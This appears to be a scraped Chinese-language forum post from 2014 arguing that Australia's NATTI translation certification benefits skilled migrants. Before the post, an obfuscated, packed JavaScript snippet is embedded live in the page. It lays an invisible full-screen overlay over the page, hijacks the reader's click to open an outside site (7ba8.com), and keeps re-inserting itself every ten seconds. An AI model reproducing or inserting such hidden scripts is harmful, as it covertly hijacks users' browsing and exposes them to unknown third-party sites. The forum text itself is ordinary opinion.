<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 本帖最后由 Pythonic 于 2014-6-20 17:11 编辑
我看到这里个别朋友对NATTI考试抱有一些偏见, 认为没什么用。我表示不赞同这个观点。
我的观点是NATTI资格认证很重要,对个人,对澳洲社会都有用。以下我来说说我的看法。
NATTI资格认证是一门有力的工具, 就像学习计算机一样, 我用PYTHON中自带的字典功能配合逻辑运算建个简易小型数据库程序,这样我工作查数字的时候就不用每次翻查厚厚的税法书，或者上ATO的网站。但是在生活中经常有人只看表面,泼冷水说这东西学了又没什么用,那个东西学了也用不到等等。但问题是仅仅因为你没察觉到有用,不代表它对你工作没用。
移民局推广NATTI有很多原因 , 最重要的肯定是将英语文章解读的精确性提高到Professional级别, 在翻译班上看到很多学生(各专业都有) ,根本没法解读语法带给句与句之间的隐含逻辑, 进而无法解读甚至曲解误解了整篇文章的逻辑和意思。对词的程度翻译也是错误百出,更滑稽的是有些学生错误解读文章的意思后反而还坚称自己翻得正确。翻译班的老师肯定对此深有体会。
基于上述,只要是生活在澳洲NATTI翻译能力认证就像一门有力的工具。对于正在从事专业工作或者任何工作的人而言都大有裨益.不管你在哪个领域的职场你肯定要写REPORT,肯定也要读别人写的REPORT,但是如果一个人连英语语法逻辑关系用词以及词语所反映的程度都无法精确解读,TA又如何能够精确解读老外写的REPORT？又如何能够提出建设性的观点？同理,倘若一个人无法精确识别英文语法逻辑表达和架构,那么TA如何能够判断自己文章内的运用的语法老外是否能够觉得有逻辑，从而消除职场中的交流障碍呢？
其次作为技术移民, 不光是要在社会上取得成功, 和澳洲本地社会也应该尽可能融合。NATTI考试的翻译文章不仅仅和澳洲方方面面息息相关,而且精确到细节的PROFESSIONAL 级别的英语理解能力对融入社会无疑也起到不少作用。
最后澳洲新闻里面也经常提到ASIAN CENTURY，尤其是中澳,中澳之间虽然并非同盟,但经济关系却越来越紧密, 澳洲需要技术移民在各行业有良好的职业级别的双语单双向切换能力, 这也可以算是响应澳洲和亚洲合作的战略方针。当然,这里不谈价值观,仅仅只是经济关系。
所以结合以上原因,NATTI职业认证并非一无是处, 带来的益处也是可观的。诚然对于有些职业而言用处不是特别显而易见,比如电焊工, 厨师, 但是就整体上来讲给予技术移民NATTI职业认证加分奖励并无不妥之处。
联系人：
联系方式： |
|
收藏